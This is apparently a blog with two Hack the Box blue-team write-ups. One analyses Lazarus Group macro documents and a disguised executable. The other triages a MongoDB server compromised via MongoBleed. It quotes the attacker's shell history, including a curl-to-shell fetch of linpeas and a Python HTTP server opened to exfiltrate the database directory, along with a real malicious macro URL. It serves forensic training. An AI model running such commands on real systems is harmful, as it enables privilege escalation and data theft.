Tag: Information Security

Today, I’m going to tackle Dream Job-2 on Hack the Box, a follow-up to Dream Job-1, which I previously walked through. Dream Job-2 is another Sherlock, which means that we’re doing Blue Team work to investigate. In this case, our story is this: “As a Threat Intelligence Analyst investigating Operation Dream Job, you have identified that the Lazarus Group utilized a variety of custom-built malware and tools to facilitate their operations. Your task is to analyze and gather intelligence on the malware utilized by this APT.“.

We need to download the .zip file and unzip it using the password of hacktheblue. Inside the .zip file is another zip file. When you attempt to unzip it, a text file comes out, but then you are prompted for more passwords to get the other files. The text file says this:

Dear User,

This text file is to warn you that the ZIP file contains software that is going to interact with your computer and files. This software has been intentionally included for educational purposes and is NOT intended to be executed or used otherwise. Always handle such files in isolated, controlled, and secure environments.

It is strongly recommend you proceed by:

1 - Running the sample in a controlled environment, for example EP Pwnbox or an isolated virtual machine.
2 - Only unzip the software in this controlled environment, using the password provided.
3 - Unzip the file in the VM and enjoy analysing!

PLEASE EXERCISE EXTREME CAUTION!

The ZIP file containing the software is password-protected for your safety. The password is "Dvn62WlNrt09". It is strongly recommended that you do NOT extract or execute the contents of this ZIP file unless you understand the risks involved.

By reading this file and using the provided password to unzip the file, you acknowledge and fully understand the risks as detailed in this warning.

Being very duly warned, we’ll move on.

Task 1: According to MITRE ATT&CK, what previously known malware does DRATzarus share similarities with?

If we search for DRATzarus on the MITRE ATT&CK site, we land on the page here. The page opens with “DRATzarus is a remote access tool (RAT) that has been used by Lazarus Group to target the defense and aerospace organizations globally since at least summer 2020. DRATzarus shares similarities with Bankshot, which was used by Lazarus Group in 2017 to target the Turkish financial sector.”

Task 1 Answer: Bankshot

Task 2: Which Windows API function does DRATzarus use to detect the presence of a debugger?

On the same page, under Enterprise -> Debugger Evasion, it says “DRATzarus can use IsDebuggerPresent to detect whether a debugger is present on a victim”

Task 2 Answer: IsDebuggerPresent

Task 3: Torisma is another piece of malware used by the Lazarus Group. According to MITRE, it has encrypted its C2 communications using XOR and which other method?

Looking up Torisma on the MITRE site, we land here. Under the section Enterprise -> Encrypted Channel: Symmetric Cryptography, it says “Torisma has encrypted its C2 communications using XOR and VEST-32“.

Task 3 Answer: VEST-32

Task 4: Which packing method has been used to obfuscate Torisma?

Same page as Task 3, under Enterprise -> Obfuscated Files or Information: Software Packing, it says “Torisma has been packed with lz4 compression“.

Task 4 Answer: lz4 compression

Task 5: Analyze the provided ISO file and identify the executable contained within it?

So this requires us to delve in to the “dangerous” part of that zip file. I’m doing this on a Kali snapshot that I have for this task. I ran these commands to mount the .iso and see its contents.

$ sudo mkdir -p /mnt/bae                  
[sudo] password for kali: 
                                                                             
$ sudo mount -o loop BAE_HPC_SE.iso /mnt/bae
mount: /mnt/bae: WARNING: source write-protected, mounted read-only.
                                                                             
$ ls /mnt/bae                 
BAE_HPC_SE.pdf  InternalViewer.exe

Task 5 Answer: InternalViewer.exe

Task 6: The executable found in the previous question was renamed. Can you identify its original name?

This only works if the metadata is kept on the file. I can use exiftool to read that metadata and get our answer.

$ exiftool /mnt/bae/InternalViewer.exe 
ExifTool Version Number         : 13.36
File Name                       : InternalViewer.exe
Directory                       : /mnt/bae
File Size                       : 11 MB
File Modification Date/Time     : 2020:06:05 03:00:44-04:00
File Access Date/Time           : 2020:06:05 03:00:44-04:00
File Inode Change Date/Time     : 2020:06:05 03:00:44-04:00
File Permissions                : -r-xr-xr-x
File Type                       : Win64 EXE
File Type Extension             : exe
MIME Type                       : application/octet-stream
Machine Type                    : AMD AMD64
Time Stamp                      : 2020:05:12 15:26:17-04:00
Image File Characteristics      : Executable, Large address aware
PE Type                         : PE32+
Linker Version                  : 14.21
Code Size                       : 10465280
Initialized Data Size           : 45056
Uninitialized Data Size         : 34689024
Entry Point                     : 0x2b10580
OS Version                      : 6.0
Image Version                   : 0.0
Subsystem Version               : 6.0
Subsystem                       : Windows GUI
File Version Number             : 3.2.0.0
Product Version Number          : 3.2.0.0
File Flags Mask                 : 0x0000
File Flags                      : (none)
File OS                         : Windows NT 32-bit
Object File Type                : Executable application
File Subtype                    : 0
Language Code                   : English (U.S.)
Character Set                   : Windows, Latin1
File Description                : SumatraPDF
File Version                    : 3.2
Legal Copyright                 : Copyright 2006-2020 all authors (GPLv3)
Original File Name              : SumatraPDF.exe
Product Name                    : SumatraPDF
Product Version                 : 3.2
Company Name                    : Krzysztof Kowalczyk

Task 6 Answer: SumatraPDF.exe

Task 7: According to VirusTotal, when was the EXE from the previous question First Seen In The Wild?(UTC)

So, in order to get the information from VirusTotal, the easiest thing for us to do is get the MD5 hash of this file and then search it.

$ md5sum /mnt/bae/InternalViewer.exe 
38032a4d12d9e3029f00b120200e8e68  /mnt/bae/InternalViewer.exe

Searching that hash brings us here. From there, we go to the Details tab and then scroll down to history to find our answer.

Task 7 Answer: 2020-08-13 08:44:50

Task 8: What packer was used to pack the executable from Question 6? (Full name)

Still on that details tab in VirusTotal, look up a bit

But they want the full name. What does UPX stand for? A quick Google lands us here, where we learn it is Ultimate Packer for Executables

Task 8 Answer: Ultimate Packer for Executables

Task 9: What is the full URL found within the macro in the document Salary_Lockheed_Martin_job_opportunities_confidential.doc?

Okay, now we are being very careful. I’m on Linux and not running Office, so I’m at a little less risk than someone who is investigating this with Windows, but tread lightly here. There are ways of extracting macros on Linux, but I cheated a little here and used the strings utility and then grepped for things that looked like a URL and that gave me the answer.

$ strings Salary_Lockheed_Martin_job_opportunities_confidential.doc | grep "http"
https://markettrendingcenter.com/lk_job_oppor.docx

Task 9 Answer: https://markettrendingcenter.com/lk_job_oppor.docx

Task 10: Who is the author of the document Salary_Lockheed_Martin_job_opportunities_confidential.doc?

More exiftool fun.

$ exiftool Salary_Lockheed_Martin_job_opportunities_confidential.doc 
ExifTool Version Number         : 13.36
File Name                       : Salary_Lockheed_Martin_job_opportunities_confidential.doc
Directory                       : .
File Size                       : 1294 kB
File Modification Date/Time     : 2025:03:05 06:40:08-05:00
File Access Date/Time           : 2026:01:16 15:26:03-05:00
File Inode Change Date/Time     : 2026:01:16 15:07:03-05:00
File Permissions                : -rw-rw-r--
File Type                       : DOC
File Type Extension             : doc
MIME Type                       : application/msword
Identification                  : Word 8.0
Language Code                   : English (US)
Doc Flags                       : Has picture, 1Table, ExtChar
System                          : Windows
Word 97                         : No
Title                           : 
Subject                         : 
Author                          : Mickey
Keywords                        : 
Comments                        : 
Template                        : Normal.dotm
Last Modified By                : Challenger
Software                        : Microsoft Office Word
Create Date                     : 2020:04:24 03:18:00
Modify Date                     : 2021:10:18 13:06:00
Security                        : None
Code Page                       : Windows Latin 1 (Western European)
Company                         : 
Char Count With Spaces          : 32
App Version                     : 16.0000
Scale Crop                      : No
Links Up To Date                : No
Shared Doc                      : No
Hyperlinks Changed              : No
Title Of Parts                  : 
Heading Pairs                   : Title, 1
Comp Obj User Type Len          : 32
Comp Obj User Type              : Microsoft Word 97-2003 Document
Last Printed                    : 0000:00:00 00:00:00
Revision Number                 : 83
Total Edit Time                 : 37 minutes
Words                           : 4
Characters                      : 29
Pages                           : 1
Paragraphs                      : 1
Lines                           : 1

Task 10 Answer: Mickey

Task 11: Who last modified the above document?

Exiftool output above.

Task 11 Answer: Challenger

Task 12: Analyze the “17.dotm” document. What is the directory where a suspicious folder was created? (Format: Give the path starting immediately after . Please pay attention to placeholder.)

For this one, I’m going to use a package called OleTools and a specific tool called olevba.

$ olevba --decode 17.dotm > macros.txt

This exports a long file (~325 lines) that is formatted pretty well. The line we want is

workDir = Environ("UserProfile") & "\AppData\Local\Microsoft\Notice"

Task 12 Answer: \AppData\Local\Microsoft\Notice

Task 13: Which suspicious file was checked for existence in that directory?

I did this probably a caveman way, but knowing that this directory is stored in the variable workDir, I searched the file for workDir. Then I noticed that it is checking for a file in that directory stored in the binName variable. So I searched the file again to find where binName was defined. Bingo.

$ cat macros.txt | grep workDir
    workDir = Environ("UserProfile") & "\AppData\Local\Microsoft\Notice"
    If Not FolderExist(workDir) Then
        MkDir (workDir)
    dllPath = workDir & "\" & binName
        workDir = workDir & "\" & binDir
        If Not FolderExist(workDir) Then
            MkDir (workDir)
        dllPath = workDir & "\" & binName
                                                                             
$ cat macros.txt | grep binName  
    binName = "wsuser.db"
    dllPath = workDir & "\" & binName
        dllPath = workDir & "\" & binName

Task 13 Answer: wsuser.db

That’s it. Some good stuff here practicing ATT&CK research, Virus Total research, and some Macro Virus investigation. Any questions, let me know!

Today, I’m going to tackle a new Hack the Box Sherlock room that just came out called MangoBleed. You can find it here. The scenario is as follows:

You were contacted early this morning to handle a high-priority incident involving a suspected compromised server. The host, mongodbsync, is a secondary MongoDB server. According to the administrator, it’s maintained once a month, and they recently became aware of a vulnerability referred to as MongoBleed. As a precaution, the administrator has provided you with root-level access to facilitate your investigation.

You have already collected a triage acquisition from the server using UAC. Perform a rapid triage analysis of the collected artifacts to determine whether the system has been compromised, identify any attacker activity (initial access, persistence, privilege escalation, lateral movement, or data access/exfiltration), and summarize your findings with an initial incident assessment and recommended next steps.

In order to work the case, we have to download the attachment from the room. It is a 31MB (~95MB unzipped) password-protected zip file and as seems to always be the case for HTB Sherlocks, the password to unzip it is hacktheblue.

Task 1: What is the CVE ID designated to the MongoDB vulnerability explained in the scenario?

Answer 1: CVE-2025-14847

I just googled MongoBleed CVE and the answer was in the AI Overview

Task 2: What is the version of MongoDB installed on the server that the CVE exploited?

Answer 2: 8.0.16

For this one, Mongo puts version information inside the log. I did a head command on the log to look around and noted it. Here is what you’d want to do if you knew what you were doing going in and wanted to find it.

$ grep buildInfo ~/htb/MangoBleed/uac-mongodbsync-linux-triage/[root]/var/log/mongodb/mongod.log                                                                                                                         
{"t":{"$date":"2025-12-29T05:11:47.713+00:00"},"s":"I",  "c":"CONTROL",  "id":23403,   "ctx":"initandlisten","msg":"Build Info","attr":{"buildInfo":{"version":"8.0.16","gitVersion":"ba70b6a13fda907977110bf46e6c8137f5de48f6","openSSLVersion":"OpenSSL 3.0.13 30 Jan 2024","modules":[],"allocator":"tcmalloc-google","environment":{"distmod":"debian12","distarch":"x86_64","target_arch":"x86_64"}}}}
{"t":{"$date":"2025-12-29T05:16:58.104+00:00"},"s":"I",  "c":"CONTROL",  "id":23403,   "ctx":"initandlisten","msg":"Build Info","attr":{"buildInfo":{"version":"8.0.16","gitVersion":"ba70b6a13fda907977110bf46e6c8137f5de48f6","openSSLVersion":"OpenSSL 3.0.13 30 Jan 2024","modules":[],"allocator":"tcmalloc-google","environment":{"distmod":"debian12","distarch":"x86_64","target_arch":"x86_64"}}}}
{"t":{"$date":"2025-12-29T06:09:34.806+00:00"},"s":"I",  "c":"CONTROL",  "id":23403,   "ctx":"initandlisten","msg":"Build Info","attr":{"buildInfo":{"version":"8.0.16","gitVersion":"ba70b6a13fda907977110bf46e6c8137f5de48f6","openSSLVersion":"OpenSSL 3.0.13 30 Jan 2024","modules":[],"allocator":"tcmalloc-google","environment":{"distmod":"debian12","distarch":"x86_64","target_arch":"x86_64"}}}}

Task 3: Analyze the MongoDB logs to identify the attacker’s remote IP address used to exploit the CVE.

Answer 3: 65.0.76.43

For this one, there is a GitHub project called MongoBleed Detector. I downloaded and installed according to the instructions on the Readme. After doing so, here is the command that I ran. The -t was needed because the tool only goes back 3 days and this log file is older than that. The -p points us at the log file.

$ ~/htb/MangoBleed/mongobleed-detector/mongobleed-detector.sh --no-default-paths -t 20000 -p mongod.log
INFO: Analyzing 1 log file(s)...
INFO: Time window: 2025-12-23T00:22:07Z to now

????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
?                              MongoBleed (CVE-2025-14847) Detection Results                                       ?
????????????????????????????????????????????????????????????????????????????????????????????????????????????????????

Analysis Parameters:
  Time Window:        20000 minutes
  Connection Thresh:  100
  Burst Rate Thresh:  400/min
  Metadata Rate:      0.10

Risk     SourceIP                                  ConnCount  MetaCount  DiscCount    MetaRate%    BurstRate/m FirstSeen (UTC)        LastSeen (UTC)        
-------- ---------------------------------------- ---------- ---------- ---------- ------------ -------------- ---------------------- ----------------------
HIGH     65.0.76.43                                    37630          0      37630        0.00%       30104.00 2025-12-29T05:25:52Z   2025-12-29T05:27:07Z  

???????????????????????????????????????????????????????????????????????????????????????????????????????????????????
Summary:
  HIGH:   1 source(s) - Likely exploitation detected

? IMPORTANT: If exploitation is confirmed, patching alone is insufficient.
  - Rotate all credentials that may have been exposed
  - Review accessed data for sensitive information disclosure
  - Check for lateral movement from affected systems
  - Preserve logs for forensic analysis

Task 4: Based on the MongoDB logs, determine the exact date and time the attacker’s exploitation activity began (the earliest confirmed malicious event)

Answer 4: 2025-12-29 05:25:52

Let’s grep the logs again using the attacker’s IP address from question 3. I’ll take the date and time from the first record up.

$ cat ~/htb/MangoBleed/uac-mongodbsync-linux-triage/\[root\]/var/log/mongodb/mongod.log | grep "65.0.76.43" | head
{"t":{"$date":"2025-12-29T05:25:52.743+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"65.0.76.43:35340","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"099e057e-11c1-46ed-b129-a158578d2014"}},"connectionId":1,"connectionCount":1}}
{"t":{"$date":"2025-12-29T05:25:52.744+00:00"},"s":"I",  "c":"NETWORK",  "id":22944,   "ctx":"conn1","msg":"Connection ended","attr":{"remote":"65.0.76.43:35340","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"099e057e-11c1-46ed-b129-a158578d2014"}},"connectionId":1,"connectionCount":0}}
{"t":{"$date":"2025-12-29T05:25:52.745+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"65.0.76.43:35348","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"de7eb8af-7ae8-4e03-bd86-433a12dd4de7"}},"connectionId":2,"connectionCount":1}}
{"t":{"$date":"2025-12-29T05:25:52.746+00:00"},"s":"I",  "c":"NETWORK",  "id":22944,   "ctx":"conn2","msg":"Connection ended","attr":{"remote":"65.0.76.43:35348","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"de7eb8af-7ae8-4e03-bd86-433a12dd4de7"}},"connectionId":2,"connectionCount":0}}
{"t":{"$date":"2025-12-29T05:25:52.747+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"65.0.76.43:35350","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"1ebcc10f-4bc3-45f3-b7c0-d2d48d3a1d74"}},"connectionId":3,"connectionCount":1}}
{"t":{"$date":"2025-12-29T05:25:52.747+00:00"},"s":"I",  "c":"NETWORK",  "id":22944,   "ctx":"conn3","msg":"Connection ended","attr":{"remote":"65.0.76.43:35350","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"1ebcc10f-4bc3-45f3-b7c0-d2d48d3a1d74"}},"connectionId":3,"connectionCount":0}}
{"t":{"$date":"2025-12-29T05:25:52.748+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"65.0.76.43:35354","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"4382ccb5-d3f3-4b72-8ff5-ac091028713c"}},"connectionId":4,"connectionCount":1}}
{"t":{"$date":"2025-12-29T05:25:52.749+00:00"},"s":"I",  "c":"NETWORK",  "id":22944,   "ctx":"conn4","msg":"Connection ended","attr":{"remote":"65.0.76.43:35354","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"4382ccb5-d3f3-4b72-8ff5-ac091028713c"}},"connectionId":4,"connectionCount":0}}
{"t":{"$date":"2025-12-29T05:25:52.749+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"65.0.76.43:35358","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"25c2f19a-70ef-46d5-8aac-88451653b7ac"}},"connectionId":5,"connectionCount":1}}
{"t":{"$date":"2025-12-29T05:25:52.750+00:00"},"s":"I",  "c":"NETWORK",  "id":22944,   "ctx":"conn5","msg":"Connection ended","attr":{"remote":"65.0.76.43:35358","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"25c2f19a-70ef-46d5-8aac-88451653b7ac"}},"connectionId":5,"connectionCount":0}}
   

Task 5: Using the MongoDB logs, calculate the total number of malicious connections initiated by the attacker.

Answer 5: 75260

Looking back up at the output from Task 3 again, we see ConnCount:37630. I tried that and it wasn’t the answer. So I added the DiscCount of 37630 to it (37630+37630=75260) and that was the answer. I thought the tool was showing Connections and Disconnections (which I believe it is by parsing the log file for that IP and “Connection ended” vs that IP and “Connection accepted”), so it is possible that this answer is actually wrong or the question is poorly worded. Regardless, 75260 is the answer.

Task 6: The attacker gained remote access after a series of brute-force attempts. The attack likely exposed sensitive information, which enabled them to gain remote access. Based on the logs, when did the attacker successfully gain interactive hands-on remote access?

Answer 6: 2025-12-29 05:40:03

Let’s look at the auth log for this one. I want connection attempts that were from that IP and were Accepted. We get 2 results and the second one is the answer that they are looking for.

$ cat ~/htb/MangoBleed/uac-mongodbsync-linux-triage/\[root\]/var/log/auth.log | grep "from 65.0.76.43" | grep Accepted      
2025-12-29T05:39:24.276756+00:00 ip-172-31-38-170 sshd[39825]: Accepted keyboard-interactive/pam for mongoadmin from 65.0.76.43 port 55056 ssh2
2025-12-29T05:40:03.475659+00:00 ip-172-31-38-170 sshd[39962]: Accepted keyboard-interactive/pam for mongoadmin from 65.0.76.43 port 46062 ssh2

Task 7: Identify the exact command line the attacker used to execute an in-memory script as part of their privilege-escalation attempt.

Answer 7: curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

The attacker got access to the box as the user mongoadmin. That means that commands that they ran would be stored in the .bash_history file in the user’s directory. When I cat it out, it isn’t that long, so I’ll just include it all in its entirety here and we see the answer.

$ cd ~/htb/MangoBleed/uac-mongodbsync-linux-triage/\[root\]/home/mongoadmin 
                                                                                                                                                         
$ ls -la
total 28
drwxrwxr-x 2 kali kali 4096 Jan  5 11:27 .
drwxrwxr-x 4 kali kali 4096 Jan  5 11:27 ..
-rwxrwxrwx 1 kali kali  250 Dec 29 00:48 .bash_history
-rwxrwxrwx 1 kali kali  220 Dec 29 00:17 .bash_logout
-rwxrwxrwx 1 kali kali 3771 Dec 29 00:17 .bashrc
-rwxrwxrwx 1 kali kali  807 Dec 29 00:17 .profile
-rwxrwxrwx 1 kali kali    7 Dec 29 00:46 .python_history
                                                                                                                                                         
$ cat .bash_history 
ls -la
whoami
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
cd /data
cd ~
ls -al
cd /
ls
cd /var/lib/mongodb/
ls -la
cd ../
which zip
apt install zip
zip
cd mongodb/
python3
python3 -m http.server 6969
exit

Task 8: The attacker was interested in a specific directory and also opened a Python web server, likely for exfiltration purposes. Which directory was the target?

Answer 8: /var/lib/mongodb

Same .bash_history file above. You can see that before the python web server is started, the attacker navigates to /var/lib/mongodb.

And that’s it!